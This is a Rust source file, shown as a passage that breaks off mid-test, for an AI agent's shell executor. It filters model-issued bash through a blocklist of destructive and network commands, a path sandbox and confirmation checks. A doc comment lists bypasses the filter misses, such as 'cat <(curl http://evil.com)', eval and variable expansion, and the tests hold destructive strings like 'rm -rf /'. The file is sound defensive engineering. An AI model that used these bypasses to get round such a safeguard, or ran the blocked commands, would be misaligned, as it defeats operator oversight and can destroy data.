Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23    "reboot", "halt",
24];
25
26const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
27
28#[derive(Deserialize, JsonSchema)]
29pub(crate) struct BashParams {
30    /// The bash command to execute
31    command: String,
32}
33
34/// Bash block extraction and execution via `tokio::process::Command`.
35#[derive(Debug)]
36pub struct ShellExecutor {
37    timeout: Duration,
38    blocked_commands: Vec<String>,
39    allowed_paths: Vec<PathBuf>,
40    confirm_patterns: Vec<String>,
41    audit_logger: Option<AuditLogger>,
42    tool_event_tx: Option<ToolEventTx>,
43    permission_policy: Option<PermissionPolicy>,
44    output_filter_registry: Option<OutputFilterRegistry>,
45    cancel_token: Option<CancellationToken>,
46    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
47}
48
49impl ShellExecutor {
50    #[must_use]
51    pub fn new(config: &ShellConfig) -> Self {
52        let allowed: Vec<String> = config
53            .allowed_commands
54            .iter()
55            .map(|s| s.to_lowercase())
56            .collect();
57
58        let mut blocked: Vec<String> = DEFAULT_BLOCKED
59            .iter()
60            .filter(|s| !allowed.contains(&s.to_lowercase()))
61            .map(|s| (*s).to_owned())
62            .collect();
63        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
64
65        if !config.allow_network {
66            for cmd in NETWORK_COMMANDS {
67                let lower = cmd.to_lowercase();
68                if !blocked.contains(&lower) {
69                    blocked.push(lower);
70                }
71            }
72        }
73
74        blocked.sort();
75        blocked.dedup();
76
77        let allowed_paths = if config.allowed_paths.is_empty() {
78            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
79        } else {
80            config.allowed_paths.iter().map(PathBuf::from).collect()
81        };
82
83        Self {
84            timeout: Duration::from_secs(config.timeout),
85            blocked_commands: blocked,
86            allowed_paths,
87            confirm_patterns: config.confirm_patterns.clone(),
88            audit_logger: None,
89            tool_event_tx: None,
90            permission_policy: None,
91            output_filter_registry: None,
92            cancel_token: None,
93            skill_env: std::sync::RwLock::new(None),
94        }
95    }
96
97    /// Set environment variables to inject when executing the active skill's bash blocks.
98    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
99        match self.skill_env.write() {
100            Ok(mut guard) => *guard = env,
101            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
102        }
103    }
104
105    #[must_use]
106    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
107        self.audit_logger = Some(logger);
108        self
109    }
110
111    #[must_use]
112    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
113        self.tool_event_tx = Some(tx);
114        self
115    }
116
117    #[must_use]
118    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
119        self.permission_policy = Some(policy);
120        self
121    }
122
123    #[must_use]
124    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
125        self.cancel_token = Some(token);
126        self
127    }
128
129    #[must_use]
130    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
131        self.output_filter_registry = Some(registry);
132        self
133    }
134
135    /// Execute a bash block bypassing the confirmation check (called after user confirms).
136    ///
137    /// # Errors
138    ///
139    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
140    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
141        self.execute_inner(response, true).await
142    }
143
144    #[allow(clippy::too_many_lines)]
145    async fn execute_inner(
146        &self,
147        response: &str,
148        skip_confirm: bool,
149    ) -> Result<Option<ToolOutput>, ToolError> {
150        let blocks = extract_bash_blocks(response);
151        if blocks.is_empty() {
152            return Ok(None);
153        }
154
155        let mut outputs = Vec::with_capacity(blocks.len());
156        let mut cumulative_filter_stats: Option<FilterStats> = None;
157        #[allow(clippy::cast_possible_truncation)]
158        let blocks_executed = blocks.len() as u32;
159
160        for block in &blocks {
161            if let Some(ref policy) = self.permission_policy {
162                match policy.check("bash", block) {
163                    PermissionAction::Deny => {
164                        self.log_audit(
165                            block,
166                            AuditResult::Blocked {
167                                reason: "denied by permission policy".to_owned(),
168                            },
169                            0,
170                        )
171                        .await;
172                        return Err(ToolError::Blocked {
173                            command: (*block).to_owned(),
174                        });
175                    }
176                    PermissionAction::Ask if !skip_confirm => {
177                        return Err(ToolError::ConfirmationRequired {
178                            command: (*block).to_owned(),
179                        });
180                    }
181                    _ => {}
182                }
183            } else {
184                if let Some(blocked) = self.find_blocked_command(block) {
185                    self.log_audit(
186                        block,
187                        AuditResult::Blocked {
188                            reason: format!("blocked command: {blocked}"),
189                        },
190                        0,
191                    )
192                    .await;
193                    return Err(ToolError::Blocked {
194                        command: blocked.to_owned(),
195                    });
196                }
197
198                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
199                    return Err(ToolError::ConfirmationRequired {
200                        command: pattern.to_owned(),
201                    });
202                }
203            }
204
205            self.validate_sandbox(block)?;
206
207            if let Some(ref tx) = self.tool_event_tx {
208                let _ = tx.send(ToolEvent::Started {
209                    tool_name: "bash".to_owned(),
210                    command: (*block).to_owned(),
211                });
212            }
213
214            let start = Instant::now();
215            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
216                self.skill_env.read().ok().and_then(|g| g.clone());
217            let (out, exit_code) = execute_bash(
218                block,
219                self.timeout,
220                self.tool_event_tx.as_ref(),
221                self.cancel_token.as_ref(),
222                skill_env_snapshot.as_ref(),
223            )
224            .await;
225            if exit_code == 130
226                && self
227                    .cancel_token
228                    .as_ref()
229                    .is_some_and(CancellationToken::is_cancelled)
230            {
231                return Err(ToolError::Cancelled);
232            }
233            #[allow(clippy::cast_possible_truncation)]
234            let duration_ms = start.elapsed().as_millis() as u64;
235
236            let result = if out.contains("[error]") {
237                AuditResult::Error {
238                    message: out.clone(),
239                }
240            } else if out.contains("timed out") {
241                AuditResult::Timeout
242            } else {
243                AuditResult::Success
244            };
245            self.log_audit(block, result, duration_ms).await;
246
247            let sanitized = sanitize_output(&out);
248            let mut per_block_stats: Option<FilterStats> = None;
249            let filtered = if let Some(ref registry) = self.output_filter_registry {
250                match registry.apply(block, &sanitized, exit_code) {
251                    Some(fr) => {
252                        tracing::debug!(
253                            command = block,
254                            raw = fr.raw_chars,
255                            filtered = fr.filtered_chars,
256                            savings_pct = fr.savings_pct(),
257                            "output filter applied"
258                        );
259                        let block_fs = FilterStats {
260                            raw_chars: fr.raw_chars,
261                            filtered_chars: fr.filtered_chars,
262                            raw_lines: fr.raw_lines,
263                            filtered_lines: fr.filtered_lines,
264                            confidence: Some(fr.confidence),
265                            command: Some((*block).to_owned()),
266                            kept_lines: fr.kept_lines.clone(),
267                        };
268                        let stats =
269                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
270                        stats.raw_chars += fr.raw_chars;
271                        stats.filtered_chars += fr.filtered_chars;
272                        stats.raw_lines += fr.raw_lines;
273                        stats.filtered_lines += fr.filtered_lines;
274                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
275                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
276                            (None, cur) => cur,
277                        });
278                        if stats.command.is_none() {
279                            stats.command = Some((*block).to_owned());
280                        }
281                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
282                            stats.kept_lines.clone_from(&fr.kept_lines);
283                        }
284                        per_block_stats = Some(block_fs);
285                        fr.output
286                    }
287                    None => sanitized,
288                }
289            } else {
290                sanitized
291            };
292
293            if let Some(ref tx) = self.tool_event_tx {
294                let _ = tx.send(ToolEvent::Completed {
295                    tool_name: "bash".to_owned(),
296                    command: (*block).to_owned(),
297                    output: out.clone(),
298                    success: !out.contains("[error]"),
299                    filter_stats: per_block_stats,
300                    diff: None,
301                });
302            }
303            outputs.push(format!("$ {block}\n{filtered}"));
304        }
305
306        Ok(Some(ToolOutput {
307            tool_name: "bash".to_owned(),
308            summary: outputs.join("\n\n"),
309            blocks_executed,
310            filter_stats: cumulative_filter_stats,
311            diff: None,
312            streamed: self.tool_event_tx.is_some(),
313            terminal_id: None,
314        }))
315    }
316
317    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
318        let cwd = std::env::current_dir().unwrap_or_default();
319
320        for token in extract_paths(code) {
321            if has_traversal(&token) {
322                return Err(ToolError::SandboxViolation { path: token });
323            }
324
325            let path = if token.starts_with('/') {
326                PathBuf::from(&token)
327            } else {
328                cwd.join(&token)
329            };
330            let canonical = path
331                .canonicalize()
332                .or_else(|_| std::path::absolute(&path))
333                .unwrap_or(path);
334            if !self
335                .allowed_paths
336                .iter()
337                .any(|allowed| canonical.starts_with(allowed))
338            {
339                return Err(ToolError::SandboxViolation {
340                    path: canonical.display().to_string(),
341                });
342            }
343        }
344        Ok(())
345    }
346
347    /// Scan `code` for commands that match the configured blocklist.
348    ///
349    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
350    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
351    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
352    /// resulting token sequence is tested against every entry in `blocked_commands`
353    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
354    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
355    ///
356    /// # Known limitations
357    ///
358    /// The following constructs are **not** detected by this function:
359    ///
360    /// - **Process substitution** `<(...)` / `>(...)`: bash executes the inner command
361    ///   before passing the file descriptor to the outer command; `tokenize_commands`
362    ///   never parses inside parentheses, so the inner command is invisible.
363    ///   Example: `cat <(curl http://evil.com)` — `curl` runs undetected.
364    ///
365    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
366    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
367    ///   opaque to this filter.
368    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
369    ///
370    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
371    ///   blocked command embedded as a string argument passes through undetected.
372    ///   Example: `eval 'sudo rm -rf /'`.
373    ///
374    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
375    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
376    ///
377    /// `$(...)` and backtick substitution are **not** covered here either, but the
378    /// default `confirm_patterns` in [`ShellConfig`] include `"$("` and `` "`" ``,
379    /// as well as `"<("`, `">("`, `"<<<"`, and `"eval "`, so those constructs trigger
380    /// a confirmation request via [`find_confirm_command`] before execution.
381    ///
382    /// For high-security deployments, complement this filter with OS-level sandboxing
383    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
384    fn find_blocked_command(&self, code: &str) -> Option<&str> {
385        let cleaned = strip_shell_escapes(&code.to_lowercase());
386        let commands = tokenize_commands(&cleaned);
387        for blocked in &self.blocked_commands {
388            for cmd_tokens in &commands {
389                if tokens_match_pattern(cmd_tokens, blocked) {
390                    return Some(blocked.as_str());
391                }
392            }
393        }
394        None
395    }
396
397    fn find_confirm_command(&self, code: &str) -> Option<&str> {
398        let normalized = code.to_lowercase();
399        for pattern in &self.confirm_patterns {
400            if normalized.contains(pattern.as_str()) {
401                return Some(pattern.as_str());
402            }
403        }
404        None
405    }
406
407    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
408        if let Some(ref logger) = self.audit_logger {
409            let entry = AuditEntry {
410                timestamp: chrono_now(),
411                tool: "shell".into(),
412                command: command.into(),
413                result,
414                duration_ms,
415            };
416            logger.log(&entry).await;
417        }
418    }
419}
420
421impl ToolExecutor for ShellExecutor {
422    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
423        self.execute_inner(response, false).await
424    }
425
426    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
427        use crate::registry::{InvocationHint, ToolDef};
428        vec![ToolDef {
429            id: "bash".into(),
430            description: "Execute a shell command".into(),
431            schema: schemars::schema_for!(BashParams),
432            invocation: InvocationHint::FencedBlock("bash"),
433        }]
434    }
435
436    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
437        if call.tool_id != "bash" {
438            return Ok(None);
439        }
440        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
441        if params.command.is_empty() {
442            return Ok(None);
443        }
444        let command = &params.command;
445        // Wrap as a fenced block so execute_inner can extract and run it
446        let synthetic = format!("```bash\n{command}\n```");
447        self.execute_inner(&synthetic, false).await
448    }
449
450    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
451        ShellExecutor::set_skill_env(self, env);
452    }
453}
454
455/// Strip shell escape sequences that could bypass command detection.
456/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
457/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
458fn strip_shell_escapes(input: &str) -> String {
459    let mut out = String::with_capacity(input.len());
460    let bytes = input.as_bytes();
461    let mut i = 0;
462    while i < bytes.len() {
463        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
464        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
465            let mut j = i + 2; // points after $'
466            let mut decoded = String::new();
467            let mut valid = false;
468            while j < bytes.len() && bytes[j] != b'\'' {
469                if bytes[j] == b'\\' && j + 1 < bytes.len() {
470                    let next = bytes[j + 1];
471                    if next == b'x' && j + 3 < bytes.len() {
472                        // \xNN hex escape
473                        let hi = (bytes[j + 2] as char).to_digit(16);
474                        let lo = (bytes[j + 3] as char).to_digit(16);
475                        if let (Some(h), Some(l)) = (hi, lo) {
476                            #[allow(clippy::cast_possible_truncation)]
477                            let byte = ((h << 4) | l) as u8;
478                            decoded.push(byte as char);
479                            j += 4;
480                            valid = true;
481                            continue;
482                        }
483                    } else if next.is_ascii_digit() {
484                        // \NNN octal escape (up to 3 digits)
485                        let mut val = u32::from(next - b'0');
486                        let mut len = 2; // consumed \N so far
487                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
488                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
489                            len = 3;
490                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
491                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
492                                len = 4;
493                            }
494                        }
495                        #[allow(clippy::cast_possible_truncation)]
496                        decoded.push((val & 0xFF) as u8 as char);
497                        j += len;
498                        valid = true;
499                        continue;
500                    }
501                    // other \X escape: emit X literally
502                    decoded.push(next as char);
503                    j += 2;
504                } else {
505                    decoded.push(bytes[j] as char);
506                    j += 1;
507                }
508            }
509            if j < bytes.len() && bytes[j] == b'\'' && valid {
510                out.push_str(&decoded);
511                i = j + 1;
512                continue;
513            }
514            // not a decodable $'...' sequence — fall through to handle as regular chars
515        }
516        // backslash-newline continuation: remove both
517        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
518            i += 2;
519            continue;
520        }
521        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
522        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
523            i += 1;
524            out.push(bytes[i] as char);
525            i += 1;
526            continue;
527        }
528        // quoted segment stripping: collapse adjacent quoted segments
529        if bytes[i] == b'"' || bytes[i] == b'\'' {
530            let quote = bytes[i];
531            i += 1;
532            while i < bytes.len() && bytes[i] != quote {
533                out.push(bytes[i] as char);
534                i += 1;
535            }
536            if i < bytes.len() {
537                i += 1; // skip closing quote
538            }
539            continue;
540        }
541        out.push(bytes[i] as char);
542        i += 1;
543    }
544    out
545}
546
547/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
548/// Returns list of sub-commands, each as `Vec<String>` of tokens.
549fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
550    // Replace two-char operators with a single separator, then split on single-char separators
551    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
552    replaced
553        .split([';', '|', '\n'])
554        .map(|seg| {
555            seg.split_whitespace()
556                .map(str::to_owned)
557                .collect::<Vec<String>>()
558        })
559        .filter(|tokens| !tokens.is_empty())
560        .collect()
561}
562
563/// Transparent prefix commands that invoke the next argument as a command.
564/// Skipped when determining the "real" command name being invoked.
565const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
566
567/// Return the basename of a token (last path component after '/').
568fn cmd_basename(tok: &str) -> &str {
569    tok.rsplit('/').next().unwrap_or(tok)
570}
571
572/// Check if the first tokens of a sub-command match a blocked pattern.
573/// Handles:
574/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
575/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
576/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
577/// - Multi-word patterns (`rm -rf /` joined prefix check)
578fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
579    if tokens.is_empty() || pattern.is_empty() {
580        return false;
581    }
582    let pattern = pattern.trim();
583    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
584    if pattern_tokens.is_empty() {
585        return false;
586    }
587
588    // Skip transparent prefix tokens to reach the real command
589    let start = tokens
590        .iter()
591        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
592        .unwrap_or(0);
593    let effective = &tokens[start..];
594    if effective.is_empty() {
595        return false;
596    }
597
598    if pattern_tokens.len() == 1 {
599        let pat = pattern_tokens[0];
600        let base = cmd_basename(&effective[0]);
601        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
602        base == pat || base.starts_with(&format!("{pat}."))
603    } else {
604        // Multi-word: join first N tokens (using basename for first) and check prefix
605        let n = pattern_tokens.len().min(effective.len());
606        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
607        parts.extend(effective[1..n].iter().map(String::as_str));
608        let joined = parts.join(" ");
609        if joined.starts_with(pattern) {
610            return true;
611        }
612        if effective.len() > n {
613            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
614            parts2.extend(effective[1..=n].iter().map(String::as_str));
615            parts2.join(" ").starts_with(pattern)
616        } else {
617            false
618        }
619    }
620}
621
622fn extract_paths(code: &str) -> Vec<String> {
623    let mut result = Vec::new();
624
625    // Tokenize respecting single/double quotes
626    let mut tokens: Vec<String> = Vec::new();
627    let mut current = String::new();
628    let mut chars = code.chars().peekable();
629    while let Some(c) = chars.next() {
630        match c {
631            '"' | '\'' => {
632                let quote = c;
633                while let Some(&nc) = chars.peek() {
634                    if nc == quote {
635                        chars.next();
636                        break;
637                    }
638                    current.push(chars.next().unwrap());
639                }
640            }
641            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
642                if !current.is_empty() {
643                    tokens.push(std::mem::take(&mut current));
644                }
645            }
646            _ => current.push(c),
647        }
648    }
649    if !current.is_empty() {
650        tokens.push(current);
651    }
652
653    for token in tokens {
654        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
655        if trimmed.is_empty() {
656            continue;
657        }
658        if trimmed.starts_with('/')
659            || trimmed.starts_with("./")
660            || trimmed.starts_with("../")
661            || trimmed == ".."
662        {
663            result.push(trimmed);
664        }
665    }
666    result
667}
668
669fn has_traversal(path: &str) -> bool {
670    path.split('/').any(|seg| seg == "..")
671}
672
673fn extract_bash_blocks(text: &str) -> Vec<&str> {
674    crate::executor::extract_fenced_blocks(text, "bash")
675}
676
677fn chrono_now() -> String {
678    use std::time::{SystemTime, UNIX_EPOCH};
679    let secs = SystemTime::now()
680        .duration_since(UNIX_EPOCH)
681        .unwrap_or_default()
682        .as_secs();
683    format!("{secs}")
684}
685
686/// Kill a child process and its descendants.
687/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
688/// killing the parent, preventing zombie subprocesses.
689async fn kill_process_tree(child: &mut tokio::process::Child) {
690    #[cfg(unix)]
691    if let Some(pid) = child.id() {
692        let _ = Command::new("pkill")
693            .args(["-KILL", "-P", &pid.to_string()])
694            .status()
695            .await;
696    }
697    let _ = child.kill().await;
698}
699
700async fn execute_bash(
701    code: &str,
702    timeout: Duration,
703    event_tx: Option<&ToolEventTx>,
704    cancel_token: Option<&CancellationToken>,
705    extra_env: Option<&std::collections::HashMap<String, String>>,
706) -> (String, i32) {
707    use std::process::Stdio;
708    use tokio::io::{AsyncBufReadExt, BufReader};
709
710    let timeout_secs = timeout.as_secs();
711
712    let mut cmd = Command::new("bash");
713    cmd.arg("-c")
714        .arg(code)
715        .stdout(Stdio::piped())
716        .stderr(Stdio::piped());
717    if let Some(env) = extra_env {
718        cmd.envs(env);
719    }
720    let child_result = cmd.spawn();
721
722    let mut child = match child_result {
723        Ok(c) => c,
724        Err(e) => return (format!("[error] {e}"), 1),
725    };
726
727    let stdout = child.stdout.take().expect("stdout piped");
728    let stderr = child.stderr.take().expect("stderr piped");
729
730    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
731
732    let stdout_tx = line_tx.clone();
733    tokio::spawn(async move {
734        let mut reader = BufReader::new(stdout);
735        let mut buf = String::new();
736        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
737            let _ = stdout_tx.send(buf.clone()).await;
738            buf.clear();
739        }
740    });
741
742    tokio::spawn(async move {
743        let mut reader = BufReader::new(stderr);
744        let mut buf = String::new();
745        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
746            let _ = line_tx.send(format!("[stderr] {buf}")).await;
747            buf.clear();
748        }
749    });
750
751    let mut combined = String::new();
752    let deadline = tokio::time::Instant::now() + timeout;
753
754    loop {
755        tokio::select! {
756            line = line_rx.recv() => {
757                match line {
758                    Some(chunk) => {
759                        if let Some(tx) = event_tx {
760                            let _ = tx.send(ToolEvent::OutputChunk {
761                                tool_name: "bash".to_owned(),
762                                command: code.to_owned(),
763                                chunk: chunk.clone(),
764                            });
765                        }
766                        combined.push_str(&chunk);
767                    }
768                    None => break,
769                }
770            }
771            () = tokio::time::sleep_until(deadline) => {
772                kill_process_tree(&mut child).await;
773                return (format!("[error] command timed out after {timeout_secs}s"), 1);
774            }
775            () = async {
776                match cancel_token {
777                    Some(t) => t.cancelled().await,
778                    None => std::future::pending().await,
779                }
780            } => {
781                kill_process_tree(&mut child).await;
782                return ("[cancelled] operation aborted".to_string(), 130);
783            }
784        }
785    }
786
787    let status = child.wait().await;
788    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
789
790    if combined.is_empty() {
791        ("(no output)".to_string(), exit_code)
792    } else {
793        (combined, exit_code)
794    }
795}
796
797#[cfg(test)]
798mod tests {
799    use super::*;
800
801    fn default_config() -> ShellConfig {
802        ShellConfig {
803            timeout: 30,
804            blocked_commands: Vec::new(),
805            allowed_commands: Vec::new(),
806            allowed_paths: Vec::new(),
807            allow_network: true,
808            confirm_patterns: Vec::new(),
809        }
810    }
811
812    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
813        ShellConfig {
814            allowed_paths,
815            ..default_config()
816        }
817    }
818
819    #[test]
820    fn extract_single_bash_block() {
821        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
822        let blocks = extract_bash_blocks(text);
823        assert_eq!(blocks, vec!["echo hello"]);
824    }
825
826    #[test]
827    fn extract_multiple_bash_blocks() {
828        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
829        let blocks = extract_bash_blocks(text);
830        assert_eq!(blocks, vec!["ls", "pwd"]);
831    }
832
833    #[test]
834    fn ignore_non_bash_blocks() {
835        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
836        let blocks = extract_bash_blocks(text);
837        assert_eq!(blocks, vec!["echo hi"]);
838    }
839
840    #[test]
841    fn no_blocks_returns_none() {
842        let text = "Just plain text, no code blocks.";
843        let blocks = extract_bash_blocks(text);
844        assert!(blocks.is_empty());
845    }
846
847    #[test]
848    fn unclosed_block_ignored() {
849        let text = "```bash\necho hello";
850        let blocks = extract_bash_blocks(text);
851        assert!(blocks.is_empty());
852    }
853
854    #[tokio::test]
855    #[cfg(not(target_os = "windows"))]
856    async fn execute_simple_command() {
857        let (result, code) =
858            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
859        assert!(result.contains("hello"));
860        assert_eq!(code, 0);
861    }
862
863    #[tokio::test]
864    #[cfg(not(target_os = "windows"))]
865    async fn execute_stderr_output() {
866        let (result, _) =
867            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
868        assert!(result.contains("[stderr]"));
869        assert!(result.contains("err"));
870    }
871
872    #[tokio::test]
873    #[cfg(not(target_os = "windows"))]
874    async fn execute_stdout_and_stderr_combined() {
875        let (result, _) = execute_bash(
876            "echo out && echo err >&2",
877            Duration::from_secs(30),
878            None,
879            None,
880            None,
881        )
882        .await;
883        assert!(result.contains("out"));
884        assert!(result.contains("[stderr]"));
885        assert!(result.contains("err"));
886        assert!(result.contains('\n'));
887    }
888
889    #[tokio::test]
890    #[cfg(not(target_os = "windows"))]
891    async fn execute_empty_output() {
892        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
893        assert_eq!(result, "(no output)");
894        assert_eq!(code, 0);
895    }
896
897    #[tokio::test]
898    async fn blocked_command_rejected() {
899        let config = ShellConfig {
900            blocked_commands: vec!["rm -rf /".to_owned()],
901            ..default_config()
902        };
903        let executor = ShellExecutor::new(&config);
904        let response = "Run:\n```bash\nrm -rf /\n```";
905        let result = executor.execute(response).await;
906        assert!(matches!(result, Err(ToolError::Blocked { .. })));
907    }
908
909    #[tokio::test]
910    #[cfg(not(target_os = "windows"))]
911    async fn timeout_enforced() {
912        let config = ShellConfig {
913            timeout: 1,
914            ..default_config()
915        };
916        let executor = ShellExecutor::new(&config);
917        let response = "Run:\n```bash\nsleep 60\n```";
918        let result = executor.execute(response).await;
919        assert!(result.is_ok());
920        let output = result.unwrap().unwrap();
921        assert!(output.summary.contains("timed out"));
922    }
923
924    #[tokio::test]
925    async fn execute_no_blocks_returns_none() {
926        let executor = ShellExecutor::new(&default_config());
927        let result = executor.execute("plain text, no blocks").await;
928        assert!(result.is_ok());
929        assert!(result.unwrap().is_none());
930    }
931
932    #[tokio::test]
933    async fn execute_multiple_blocks_counted() {
934        let executor = ShellExecutor::new(&default_config());
935        let response = "```bash\necho one\n```\n```bash\necho two\n```";
936        let result = executor.execute(response).await;
937        let output = result.unwrap().unwrap();
938        assert_eq!(output.blocks_executed, 2);
939        assert!(output.summary.contains("one"));
940        assert!(output.summary.contains("two"));
941    }
942
943    // --- command filtering tests ---
944
945    #[test]
946    fn default_blocked_always_active() {
947        let executor = ShellExecutor::new(&default_config());
948        assert!(executor.find_blocked_command("rm -rf /").is_some());
949        assert!(executor.find_blocked_command("sudo apt install").is_some());
950        assert!(
951            executor
952                .find_blocked_command("mkfs.ext4 /dev/sda")
953                .is_some()
954        );
955        assert!(
956            executor
957                .find_blocked_command("dd if=/dev/zero of=disk")
958                .is_some()
959        );
960    }
961
962    #[test]
963    fn user_blocked_additive() {
964        let config = ShellConfig {
965            blocked_commands: vec!["custom-danger".to_owned()],
966            ..default_config()
967        };
968        let executor = ShellExecutor::new(&config);
969        assert!(executor.find_blocked_command("sudo rm").is_some());
970        assert!(
971            executor
972                .find_blocked_command("custom-danger script")
973                .is_some()
974        );
975    }
976
977    #[test]
978    fn blocked_prefix_match() {
979        let executor = ShellExecutor::new(&default_config());
980        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
981    }
982
983    #[test]
984    fn blocked_infix_match() {
985        let executor = ShellExecutor::new(&default_config());
986        assert!(
987            executor
988                .find_blocked_command("echo hello && sudo rm")
989                .is_some()
990        );
991    }
992
993    #[test]
994    fn blocked_case_insensitive() {
995        let executor = ShellExecutor::new(&default_config());
996        assert!(executor.find_blocked_command("SUDO apt install").is_some());
997        assert!(executor.find_blocked_command("Sudo apt install").is_some());
998        assert!(executor.find_blocked_command("SuDo apt install").is_some());
999        assert!(
1000            executor
1001                .find_blocked_command("MKFS.ext4 /dev/sda")
1002                .is_some()
1003        );
1004        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1005        assert!(executor.find_blocked_command("RM -RF /").is_some());
1006    }
1007
1008    #[test]
1009    fn safe_command_passes() {
1010        let executor = ShellExecutor::new(&default_config());
1011        assert!(executor.find_blocked_command("echo hello").is_none());
1012        assert!(executor.find_blocked_command("ls -la").is_none());
1013        assert!(executor.find_blocked_command("cat file.txt").is_none());
1014        assert!(executor.find_blocked_command("cargo build").is_none());
1015    }
1016
1017    #[test]
1018    fn partial_match_accepted_tradeoff() {
1019        let executor = ShellExecutor::new(&default_config());
1020        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
1021        assert!(executor.find_blocked_command("sudoku").is_none());
1022    }
1023
1024    #[test]
1025    fn multiline_command_blocked() {
1026        let executor = ShellExecutor::new(&default_config());
1027        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1028    }
1029
1030    #[test]
1031    fn dd_pattern_blocks_dd_if() {
1032        let executor = ShellExecutor::new(&default_config());
1033        assert!(
